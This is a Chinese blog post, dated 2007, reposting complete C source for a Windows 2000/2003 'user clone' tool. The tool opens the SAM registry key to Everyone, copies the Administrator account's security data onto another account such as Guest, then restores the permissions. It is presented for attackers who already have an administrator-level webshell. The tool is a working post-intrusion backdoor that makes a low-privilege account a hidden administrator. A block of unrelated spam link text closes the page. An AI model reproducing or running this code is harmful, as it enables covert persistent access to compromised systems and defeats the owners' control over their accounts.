• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            elva

            第一個支持2000和2003下完美進行用戶克隆的C源碼(可在webshell里直接運行)

            軟件作者:pt007[at]vip.sina.com版權(quán)所有,轉(zhuǎn)載請注明版權(quán)
            信息來源:邪惡八進制信息安全團隊(www.eviloctal.com
               本程序是基于dahubaobao的源程序的基礎(chǔ)上進行了修改,改正了源程序中的一個嚴重BUG(原程序會引起用戶管理的混亂),本版本加入了注冊表提權(quán)和恢復功能,因此能夠完美的支持XP/2000/2003,下一個版本我打算實現(xiàn)直接輸入用戶名克隆和密碼修改功能!感謝dahubaobao和sinister的指點.
              WEBSHELL里可執(zhí)行是指:至少有一個管理員權(quán)限的shell,如:jsp/MYSQL/SERV提權(quán)/反彈CMDSHELL
            Copy code
            #include <windows.h>
            #include <string.h>
            #include <stdio.h>
            #include <aclapi.h>

            char name[50][30];
            int KeyN=0;
            LPTSTR lpObjectName;
            SE_OBJECT_TYPE ObjectType; //#include <aclapi.h>
            PACL OldDACL,NewDACL;
            PSECURITY_DESCRIPTOR SD;
            EXPLICIT_ACCESS ea;
            //OpenKey(),ViewUser(),ListUser()函數(shù)用到的變量

            //顯示用戶名對應的安全標識符:
            void OpenKey (char *key);
            int ViewUser (char *key);
            int ListUser (void);//列出用戶名和類型值(用戶SID)
            int Clone (char *C_sid);//克隆帳戶
            void Usage (void);//幫助信息

            //設置注冊表的存取權(quán)限:
            void new();
            void old();

            void main (int argc, char *argv[])
            {
            char C_Sid[10];
            int n;
            if(argc<2)
            {Usage();
            return;}

            //提升注冊表SAM鍵的權(quán)限:
            new();

            //如何使用命令行參數(shù)的方法:
            for (n=1;n<argc;n++)
            {
            if (argv[n][0] == '-')
            {
            switch(argv[n][1])
            {
            case '?':
            case 'h':
            case 'H':Usage();
            break;

            case 'l':
            case 'L':ListUser();
                old();
            break;

            case 'c':
            case 'C':
            if(argc<3)
            {printf("Useage:%s -c 1F5\n",argv[0]);
            old();
            break;}
            strcpy(C_Sid,argv[2]);//獲得屏幕輸入并存入C_Sid字符數(shù)組
            if (strlen(C_Sid)<=10)
            Clone(C_Sid);
            else
            printf("Error\n");
            //恢復注冊表的權(quán)限:
            old();

                break;

            }
            }
            }
            }


            void OpenKey (char *key)
            {
            HKEY hkey;//注冊表鍵值的句柄
            DWORD dwIndex=0,lpcbname=100,ret=0;
            char T_name[100],Buffer[100];
            FILETIME lpftlast;
            int i=0;
            //下面是字符數(shù)組清0:
            ZeroMemory(Buffer,100);
            ZeroMemory(T_name,100);
            ZeroMemory(name,1500);

            RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根鍵名或已打開項的句柄
            key, //傳遞一個參數(shù),欲打開的注冊表項
            0, //未用,設為0即可
            KEY_ALL_ACCESS, //描述新鍵值安全性的訪問掩碼
            //它們的組合描述了允許對這個項進行哪些操作
            &hkey);//裝載上面打開項的句柄

            for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)//遍歷子鍵中的每個值
            {
            ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
            NULL,NULL,NULL,&lpftlast);
            //dwIndex:欲獲取的子項的索引。第一個子項的索引編號為零
            //T_name:用于裝載指定索引處項名的一個緩沖區(qū)
            //&lpcbname:指定一個變量,用于裝載lpName緩沖區(qū)的實際長度(包括空字符)。
            //一旦返回,它會設為實際裝載到lpName緩沖區(qū)的字符數(shù)量
            //NULL:未用,設為零
            //NULL:項使用的類名
            //NULL:用于裝載lpClass緩沖區(qū)長度的一個變量
            //&lpftlast:FILETIME,枚舉子項上一次修改的時間

            strcat(name[i],T_name);//將每個子鍵名加入到name[i]數(shù)組中

            ZeroMemory(T_name,100);//清0
            lpcbname=100;
            }
            //printf("subkey=%s\n",name[0]);//administrator
            RegCloseKey(hkey); //關(guān)閉注冊鍵

            //拼接用戶名:
            for(KeyN=0;KeyN<i;KeyN++)
            {
            strcat(Buffer,name[KeyN]);
            strcat(Buffer,"\n\r");
            }
            }

            int ViewUser (char *key)
            {
            HKEY hkey;
            DWORD lpType=0,ret;
            char S_name[10];


            ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
            key,//如://SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator
            0,
            KEY_ALL_ACCESS,
            &hkey);

            if(ret==ERROR_SUCCESS)
                ;
            else
            return 0;

            RegQueryValueEx(hkey,NULL,NULL,&lpType,NULL,NULL);
            //NULL:要獲取值的名字
            //NULL:未用,設為零
            //&lpType:用于裝載取回數(shù)據(jù)類型的一個變量
            //NULL:用于裝載指定值的一個緩沖區(qū)
            //NULL:用于裝載lpData緩沖區(qū)長度的一個變量

            wsprintf(S_name,"%X\n\r",lpType);
            printf("%s",S_name);

            return 1;
            }

            int ListUser (void)
            {
            int n;
            char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\";
            char Temp[40]={'\0'};

            OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names");

            for(n=0;n<KeyN;n++)
            {
            strcat(Buffer,name[n]);//SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator
            wsprintf(Temp,name[n]);
            strcat(Temp,"===>");
            printf("%s",Temp);
            ViewUser(Buffer);
            strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");
            }
            return 1;
            }

            int Clone(char *C_sid)
            {
            HKEY hkey,C_hkey;
            DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
            char CloneSid[100];
            LPBYTE lpDataF,lpDataV;
            //為注冊表的F與V值分配空間:
            lpDataF = (LPBYTE) malloc(1024*2);
            lpDataV = (LPBYTE) malloc(1024*10);
            //清0:
            ZeroMemory(lpDataF,1024*2);
            ZeroMemory(lpDataV,1024*10);
            ZeroMemory(CloneSid,100);

            strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");
            strcat(CloneSid,C_sid);//如:SAM\\SAM\\Domains\\Account\\Users\\000001F5

            ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
            "SAM\\SAM\\Domains\\Account\\Users\\000001F4", //administrator的子鍵
            0,
            KEY_ALL_ACCESS,
            &hkey);

            if(ret==ERROR_SUCCESS)
            ;
            else
            return 0;
            //讀出F值然后存入lpDataF中:
            ret = RegQueryValueEx(hkey,"F",NULL,
            &Type,lpDataF,&SizeF);

            if(ret==ERROR_SUCCESS)
            ;
            else
            return 0;
            //讀出v值然后存入lpDataV中:
            ret = RegQueryValueEx(hkey,"V",NULL,
            &Type,lpDataV,&SizeV);

            if(ret==ERROR_SUCCESS)
            ;
            else
            return 0;
            //下面是打開需克隆用戶如guest的鍵值:
            ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
            CloneSid, //如:SAM\\SAM\\Domains\\Account\\Users\\000001F5
            0,
            KEY_ALL_ACCESS,
            &C_hkey);

            if(ret==ERROR_SUCCESS)
            ;
            else
            return 0;
            //將lpDataF中的值來替換需克隆用戶的F值:
            ret= RegSetValueEx(C_hkey,"F",0,
            REG_BINARY,
            lpDataF,
            SizeF);
            //C_hkey:根鍵名或已打開項的句柄
            //“F”:要設置值的名字
            //0:未用,設為零
            //REG_BINARY:要設置的數(shù)量類型
            //lpDataF:包含數(shù)據(jù)的緩沖區(qū)中的第一個字節(jié)
            //SizeF:lpData緩沖區(qū)的長度

            if(ret==ERROR_SUCCESS)
            printf("Clone User Success\n");
            else
            {
            printf("Clone User FAIL\n");
            return 0;
            }
            //關(guān)閉已打開的注冊表句柄:
            RegCloseKey(hkey);
            RegCloseKey(C_hkey);

            return 1;
            }

            void new()
            {//下面是設置SAM鍵的權(quán)限為everyone:
                lpObjectName = "MACHINE\\SAM\\SAM";

                ObjectType =SE_REGISTRY_KEY;

                //建立一個空的ACL;
                if (SetEntriesInAcl(0, NULL, NULL, &

                OldDACL)!=ERROR_SUCCESS)
                    return;

                if (SetEntriesInAcl(0, NULL, NULL, &NewDACL)!=ERROR_SUCCESS)
                    return;

                //獲取現(xiàn)有的ACL列表到OldDACL:
                if(GetNamedSecurityInfo(lpObjectName, ObjectType,
                                      DACL_SECURITY_INFORMATION,
                                      NULL, NULL,
                                      &OldDACL,
                                      NULL, &SD) != ERROR_SUCCESS)
                      printf("指定的鍵不存在!\n");
            // 本文轉(zhuǎn)自 C++Builder 研究 - http://www.ccrun.com/article.asp?i=563&d=tshoza
            //設置用戶名"Everyone"對指定的鍵有所有操作權(quán)到結(jié)構(gòu)ea:
                ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));

                BuildExplicitAccessWithName(&ea,
                                            "Everyone",      // name of trustee
                                            KEY_ALL_ACCESS,    // type of access
                                            SET_ACCESS,      // access mode
                                            SUB_CONTAINERS_AND_OBJECTS_INHERIT); //子鍵繼承它的權(quán)限

                
                //合并結(jié)構(gòu)ea和OldDACL的權(quán)限列表到新的NewDACL:
                if(SetEntriesInAcl(1, &ea, NULL, &NewDACL) != ERROR_SUCCESS)
                      goto Cleanup;

                //把新的ACL寫入到指定的鍵:
                SetNamedSecurityInfo(lpObjectName, ObjectType,
                      DACL_SECURITY_INFORMATION,
                      NULL, NULL,
                      NewDACL,
                      NULL);
            //釋放指針
                Cleanup:
                if(SD != NULL)
                      LocalFree((HLOCAL) SD);
                if(NewDACL != NULL)
                      LocalFree((HLOCAL) NewDACL);
                if(OldDACL != NULL)
                      LocalFree((HLOCAL) OldDACL);
            }

            void old()
            {
            //恢復注冊表的權(quán)限:

                BuildExplicitAccessWithName(&ea,
                                            "system",      // name of trustee
                                            KEY_ALL_ACCESS,    // type of access
                                            SET_ACCESS,      // access mode
                                            SUB_CONTAINERS_AND_OBJECTS_INHERIT); //讓子鍵繼承他的權(quán)限

                if(SetEntriesInAcl(1, &ea, NULL, &OldDACL) != ERROR_SUCCESS)
                  goto Cleanup;

                //把舊的ACL寫入到指定的鍵:
                SetNamedSecurityInfo(lpObjectName, ObjectType,
                      DACL_SECURITY_INFORMATION,
                      NULL, NULL,
                      OldDACL,
                      NULL);
                //釋放指針
                Cleanup:
                if(SD != NULL)
                      LocalFree((HLOCAL) SD);
                if(NewDACL != NULL)
                      LocalFree((HLOCAL) NewDACL);
                if(OldDACL != NULL)
                      LocalFree((HLOCAL) OldDACL);

            }


            //輸出幫助的典型方法:
            void Usage (void)
            {
            fprintf(stderr,"===============================================================================\n"
            "\t名稱:2003與2000下克隆任意用戶程序\n"
            "\t環(huán)境:Win2003 + Visual C++ 6.0\n"
            "\t作者:pt007@vip.sina.com\n"
            "\tQQ:7491805\n"
            "\t聲明:本軟件由pt007原創(chuàng),轉(zhuǎn)載請注明出處,謝謝!\n"
            "\n"
            "\t使用方法:\n"
            "\t\"-H\":幫助信息\n"
            "\t\"-L\":列出系統(tǒng)中用戶對應的SID\n"
            "\t\"-C 1F5\":克隆帳戶,輸入SID即可\n"
            "\t 對應注冊表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"
            "\t 對應注冊表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"
            "\n"
            "\t注意事項:\n"
            "\t由于SID的前5位都是\"0\",所以不必輸入,直接輸入最后三位\n"
            "\t例如:000001F5,則直接輸入1F5,即可將Guest帳戶克隆\n"
            "===============================================================================\n");
            }

            posted on 2007-05-14 00:49 葉子 閱讀(346) 評論(0)  編輯 收藏 引用 所屬分類: 網(wǎng)絡安全

            日韩欧美亚洲综合久久| 狠狠88综合久久久久综合网| 国产呻吟久久久久久久92| 国产成人精品久久一区二区三区av| 国产精品伊人久久伊人电影| 久久无码AV中文出轨人妻| 国产精品久久久亚洲| 久久精品国产72国产精福利| 国产A级毛片久久久精品毛片| 91精品日韩人妻无码久久不卡| 中文字幕精品久久| 久久精品国产免费| 精品伊人久久大线蕉色首页| 日韩精品国产自在久久现线拍 | 热RE99久久精品国产66热| 亚洲国产精品无码久久一区二区| 国产成人久久精品一区二区三区| 中文成人久久久久影院免费观看| 国产精品岛国久久久久| 久久人人爽人人爽人人片AV麻烦| 狠狠色综合久久久久尤物 | 久久青青草原综合伊人| 亚洲国产欧洲综合997久久| 久久无码国产| 久久精品亚洲精品国产欧美| 久久精品国产影库免费看| 久久久久亚洲AV片无码下载蜜桃 | 97久久国产露脸精品国产| 久久www免费人成看国产片| 久久精品国产69国产精品亚洲| 亚洲国产精品一区二区久久hs| 久久亚洲国产成人影院| 久久一区二区三区免费| 欧美成a人片免费看久久| 久久国产高清一区二区三区| 国产免费福利体检区久久| 久久国产美女免费观看精品| 精品人妻伦一二三区久久 | 99久久精品国产一区二区| 亚洲国产精品婷婷久久| 国内精品免费久久影院|